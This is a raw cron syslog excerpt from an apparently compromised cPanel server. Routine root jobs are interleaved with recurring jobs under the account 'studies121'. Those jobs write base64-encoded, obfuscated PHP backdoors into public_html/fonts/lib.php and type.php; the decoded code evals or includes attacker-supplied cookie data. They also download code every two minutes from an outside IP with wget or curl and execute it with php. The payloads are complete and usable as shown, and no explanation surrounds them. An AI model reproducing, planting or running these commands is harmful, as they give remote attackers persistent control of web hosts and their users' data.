Sep  7 02:58:01 ip-184-168-122-23 CROND[2757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:58:01 ip-184-168-122-23 CROND[2756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:58:01 ip-184-168-122-23 CROND[2758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:59:01 ip-184-168-122-23 CROND[2834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:59:01 ip-184-168-122-23 CROND[2837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:59:01 ip-184-168-122-23 CROND[2836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:59:01 ip-184-168-122-23 CROND[2838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:00:01 ip-184-168-122-23 CROND[2995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:00:01 ip-184-168-122-23 CROND[2997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:00:01 ip-184-168-122-23 CROND[3001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:00:01 ip-184-168-122-23 CROND[3002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:00:01 ip-184-168-122-23 CROND[3003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:00:01 ip-184-168-122-23 CROND[3004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:00:01 ip-184-168-122-23 CROND[3005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:00:01 ip-184-168-122-23 CROND[3010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:01:01 ip-184-168-122-23 CROND[3095]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3095]: starting 0anacron
Sep  7 03:01:01 ip-184-168-122-23 CROND[3102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:01:01 ip-184-168-122-23 anacron[3105]: Anacron started on 2026-09-07
Sep  7 03:01:01 ip-184-168-122-23 anacron[3105]: Will run job `cron.daily' in 37 min.
Sep  7 03:01:01 ip-184-168-122-23 anacron[3105]: Jobs will be executed sequentially
Sep  7 03:01:01 ip-184-168-122-23 CROND[3107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:01:01 ip-184-168-122-23 CROND[3110]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:01:01 ip-184-168-122-23 CROND[3109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3108]: finished 0anacron
Sep  7 03:01:01 ip-184-168-122-23 CROND[3111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:02:01 ip-184-168-122-23 CROND[3191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:02:01 ip-184-168-122-23 CROND[3196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:02:01 ip-184-168-122-23 CROND[3195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:02:01 ip-184-168-122-23 CROND[3193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:02:01 ip-184-168-122-23 CROND[3194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:03:01 ip-184-168-122-23 CROND[3270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:03:01 ip-184-168-122-23 CROND[3272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:03:01 ip-184-168-122-23 CROND[3273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:03:01 ip-184-168-122-23 CROND[3274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:04:01 ip-184-168-122-23 CROND[3360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:04:01 ip-184-168-122-23 CROND[3362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:04:01 ip-184-168-122-23 CROND[3363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:04:01 ip-184-168-122-23 CROND[3367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:04:01 ip-184-168-122-23 CROND[3365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:04:01 ip-184-168-122-23 CROND[3368]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  7 03:05:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:05:01 ip-184-168-122-23 CROND[3451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:05:01 ip-184-168-122-23 CROND[3455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:05:01 ip-184-168-122-23 CROND[3453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:05:01 ip-184-168-122-23 CROND[3454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:05:01 ip-184-168-122-23 CROND[3456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:05:01 ip-184-168-122-23 CROND[3458]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:06:01 ip-184-168-122-23 CROND[3551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:06:01 ip-184-168-122-23 CROND[3552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:06:01 ip-184-168-122-23 CROND[3554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:06:01 ip-184-168-122-23 CROND[3555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:06:01 ip-184-168-122-23 CROND[3553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:07:01 ip-184-168-122-23 CROND[3643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:07:01 ip-184-168-122-23 CROND[3644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:07:01 ip-184-168-122-23 CROND[3646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:07:01 ip-184-168-122-23 CROND[3649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:08:01 ip-184-168-122-23 CROND[3724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:08:01 ip-184-168-122-23 CROND[3725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:08:01 ip-184-168-122-23 CROND[3727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:08:01 ip-184-168-122-23 CROND[3731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:08:01 ip-184-168-122-23 CROND[3732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:09:01 ip-184-168-122-23 CROND[3890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:09:01 ip-184-168-122-23 CROND[3892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:09:01 ip-184-168-122-23 CROND[3896]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 03:09:01 ip-184-168-122-23 CROND[3897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:09:01 ip-184-168-122-23 CROND[3894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:10:01 ip-184-168-122-23 CROND[3986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:10:01 ip-184-168-122-23 CROND[3989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
